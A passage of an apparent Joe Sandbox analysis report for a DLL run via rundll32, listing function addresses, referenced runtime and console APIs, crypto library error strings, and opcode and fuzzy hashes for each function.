false, xrefs: 00007FFDFB67C657

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Maklocstr
String ID: false$true
API String ID: 2987148671-2658103896
Opcode ID: d8b54b2fc70e103bda9b4236ea32805f900228256bd7020155b168c595a7e42c
Instruction ID: d0afe05789f764b21f83f0f40f98605bda097a57055cc01c799c345956b12684
Opcode Fuzzy Hash: d8b54b2fc70e103bda9b4236ea32805f900228256bd7020155b168c595a7e42c
Instruction Fuzzy Hash: 12416A23B19B4699E710CF70E4605ED33B1FB48788B405126EE4D2BBA9EF38D695C394

Function 00007FFDFB61F7D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61F8DD

Strings

?, xrefs: 00007FFDFB61F803
7, xrefs: 00007FFDFB61F7FA
w input, xrefs: 00007FFDFB61F82C

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 7$?$w input
API String ID: 3668304517-2428305711
Opcode ID: 47a25103d87b08eb024d956312516e155f0056624e57f1fdb34d250f42034002
Instruction ID: 284fafceead401ebb8b9f84f1d326f82770b8994546005eb14c86753031bf3ff
Opcode Fuzzy Hash: 47a25103d87b08eb024d956312516e155f0056624e57f1fdb34d250f42034002
Instruction Fuzzy Hash: E63185A2B1AB4685E7509F24E4617783770FB59B58F545231EAAC4A3F9EF3CE185C300

Function 00007FFDFB61F920 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61FA2D

Strings

7, xrefs: 00007FFDFB61F94A
?, xrefs: 00007FFDFB61F953
w input, xrefs: 00007FFDFB61F97C

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 7$?$w input
API String ID: 3668304517-2428305711
Opcode ID: 81522527116f21ecde944c259d979dcf650a11978c46e7e6ae44656cab8b7b9a
Instruction ID: 153662607acd86fc99b9a3f542dc8c23720e12ab41cd60e760fa95ec8d936364
Opcode Fuzzy Hash: 81522527116f21ecde944c259d979dcf650a11978c46e7e6ae44656cab8b7b9a
Instruction Fuzzy Hash: DC3197A2B1AB8285E7109F24E4617787760FB59B58F505231EAAC463F9EF3CE185C700

Function 00007FFDFB6B6A00 Relevance: 6.3, APIs: 4, Instructions: 305fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFDFB6B6A87
WriteFile.KERNEL32 ref: 00007FFDFB6B6D4E
WriteFile.KERNEL32 ref: 00007FFDFB6B6D97
GetLastError.KERNEL32 ref: 00007FFDFB6B6E58

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: aceee1fb2b2e0575bf4a933859be029829c2cb002b6682a4078f5a06ba9f459b
Instruction ID: ee14a269b60c69848a28944698eb4e6d128bfc9dd496d4b5b75aff6561270349
Opcode Fuzzy Hash: aceee1fb2b2e0575bf4a933859be029829c2cb002b6682a4078f5a06ba9f459b
Instruction Fuzzy Hash: 44D1F432B09A8289E710CF79D9505AC77B1FB45B98B148232CF6D5BBE9CE38D406CB00

Function 00007FFDFB627F90 Relevance: 6.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB628111
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB628117

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 1fcd45a7663a40bd890f2623f0245b636164a0b2c45d2be2554f905c6c35c5f1
Instruction ID: cbf0146713ebf9fb1221dc73c30f61aac1fd9e77fa5e6dfa65c5c9082b8fa522
Opcode Fuzzy Hash: 1fcd45a7663a40bd890f2623f0245b636164a0b2c45d2be2554f905c6c35c5f1
Instruction Fuzzy Hash: FA71C122B0AB8381EF14DB55A8245A9A3A5FF44BD0F584531DFAD0BBE9DE7CD0418300

Function 00007FFDFB6B73DC Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB6B737C), ref: 00007FFDFB6B74FF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB6B737C), ref: 00007FFDFB6B7589

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 8c43857bb6203fdf2e6dac9c3e9827353fe72dd6bf8e13e37abd706e7504532b
Instruction ID: 2525afd64b7eacf95b9c668f0e53fde22df66eb64352d7e065e0f04bf867240e
Opcode Fuzzy Hash: 8c43857bb6203fdf2e6dac9c3e9827353fe72dd6bf8e13e37abd706e7504532b
Instruction Fuzzy Hash: B491D562B1A65389F750DF699460ABD3BB0BB04788F44813ADE2E5B6F9DF38D441CB10

Function 00007FFDFB66E9E8 Relevance: 6.2, APIs: 4, Instructions: 200COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66EB3B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB66EB47
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66ECA8
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB66ECB4

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 71809553c1d6ea1df09adaa272803239545c33aebe42918a00f286c8f02afbdc
Instruction ID: ffdb6acf039a17323eed70ef2f811194fabc1c7d7660a770a84a246210ac7132
Opcode Fuzzy Hash: 71809553c1d6ea1df09adaa272803239545c33aebe42918a00f286c8f02afbdc
Instruction Fuzzy Hash: A671F52170A64399EB149B12A664A7DA352FB44BE0F544631EE7D0FBEDEE7CE0818304

Function 00007FFDFB6504E0 Relevance: 6.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB650631
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB65067C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6506C8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB65070C

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 20114885cd8b45edbe4b2b0651480fe34ad72c1f65b1fa35f42c4524f85b3555
Instruction ID: a9194033979d72f002e94fa0799450c4760b984e660a51a9d59896f47329b9b5
Opcode Fuzzy Hash: 20114885cd8b45edbe4b2b0651480fe34ad72c1f65b1fa35f42c4524f85b3555
Instruction Fuzzy Hash: D4510262B1AB8341EF149B69E06976D6251EF857F0F548332E67D0BBEDCE2CE4908704

Function 00007FFDFB613C40 Relevance: 6.2, APIs: 4, Instructions: 163COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FFDFB613DA5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB613E19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB613E1F
__std_exception_copy.LIBVCRUNTIME ref: 00007FFDFB613E58

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1109970293-0
Opcode ID: f69568ccf2be7bbd79dfdb44b9bc9f31d91998125ac7a48ac2f65c72e41388bb
Instruction ID: 50bd65549d6437608cb1ec63baad8547ce2dd4630fa9c9f29bf1c0704b83c975
Opcode Fuzzy Hash: f69568ccf2be7bbd79dfdb44b9bc9f31d91998125ac7a48ac2f65c72e41388bb
Instruction Fuzzy Hash: BA61AE72B06B8299EB00DF25D5617AC3321FB58B98F409631DE6C1BBA9EF38D195C340

Function 00007FFDFB6C3B38 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3B79
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3BF9
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3C4D
_get_daylight.LIBCMT ref: 00007FFDFB6C3CA5

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 1bbfda177f78100d30d10bdb61b2f3c1f8e609a939c9b0d51e40d0354bc44835
Instruction ID: 786db7a85060fc1e842be3980451829e71cfb82ee7b55adb9c407c6fad5e186c
Opcode Fuzzy Hash: 1bbfda177f78100d30d10bdb61b2f3c1f8e609a939c9b0d51e40d0354bc44835
Instruction Fuzzy Hash: 0D51D0B2F0E60342F7287A289535F7D6580EB41726F194439DA3D4E2FFCA3DE8409641

Function 00007FFDFB698B4C Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFDFB698BFE
DName::operator+.LIBVCRUNTIME ref: 00007FFDFB698C0E
DName::operator+.LIBVCRUNTIME ref: 00007FFDFB698C2B

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 221cc3cdaa50aa8e5cbe545d619a6f550f01f1e00dcd089431c40450efb66b07
Instruction ID: 6e1da0103ed56d3be6530fd24a80d5e4f9a05635081770f05d1e655fad0508cb
Opcode Fuzzy Hash: 221cc3cdaa50aa8e5cbe545d619a6f550f01f1e00dcd089431c40450efb66b07
Instruction Fuzzy Hash: 59512B72B1AB5789E7118B24E860BBC37A1AB44B88F584436CA6D4B7F9DF3DA445C700

Function 00007FFDFB6BC1B8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB6BFA54: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BFA87

_get_daylight.LIBCMT ref: 00007FFDFB6BC2D0
_get_daylight.LIBCMT ref: 00007FFDFB6BC2E1

Strings

?, xrefs: 00007FFDFB6BC261

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 404d357bf111d8bf4296c58a579224f3a10b6acc7816589a98002bec6413e840
Instruction ID: 6482cc403afa671f6cff020a2b3c6d61d9d6b1fccbc46c74d185d0871eaf3c95
Opcode Fuzzy Hash: 404d357bf111d8bf4296c58a579224f3a10b6acc7816589a98002bec6413e840
Instruction Fuzzy Hash: 8E41F812B0928346FB649B69D421B7A6670EF817A4F148235EF6C0AEFDDF3CD5418B00

Function 00007FFDFB6B70AC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFDFB6B71C3
GetLastError.KERNEL32 ref: 00007FFDFB6B71E5

Strings

U, xrefs: 00007FFDFB6B716F

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: b9db0e5b361131033e8716a9e759327c179ce4c47b2b609b2150b40691358bc5
Instruction ID: 69b7c0ac7ca8545c25916064ee50b1f6c6fcaa285f72fdc74c9b31e1be0b2d5b
Opcode Fuzzy Hash: b9db0e5b361131033e8716a9e759327c179ce4c47b2b609b2150b40691358bc5
Instruction Fuzzy Hash: EA41B432B19A4281EB20DF25E854BB967A1FB94794F448031EE5D8BBE8DF3CD541CB50

Function 00007FFDFB644690 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB644792

Strings

IteratedHashBase: input data exceeds maximum allowed by hash function , xrefs: 00007FFDFB6446EB
F, xrefs: 00007FFDFB6446E2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: F$IteratedHashBase: input data exceeds maximum allowed by hash function
API String ID: 3668304517-3216730400
Opcode ID: da15cf3077ff520d8a042e8ea1a1347a5e66e27e2cb19c91460f8bbd98e35504
Instruction ID: 410ba8d0f8079a23355b590b772d71737cbedcab3cec8b7daf3c7cdd1dd2d3e1
Opcode Fuzzy Hash: da15cf3077ff520d8a042e8ea1a1347a5e66e27e2cb19c91460f8bbd98e35504
Instruction Fuzzy Hash: B4318D72B1AB8681EB049B25E4657296360FB89BA0F508231E7BC477ECDE3CE191C700

Function 00007FFDFB629A20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FFDFB629B1D

Strings

Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 00007FFDFB629AB6
Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 00007FFDFB629A83

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: __std_exception_copy
String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 592178966-3345525433
Opcode ID: b321819d6ffdc22428ea8b8fcf43c99553e0088b615693bf94475cdc3c66c0e4
Instruction ID: 25887bae8d781bff492c51ca1b003bd4790e25b7271d0916b3c7104b3eb1b106
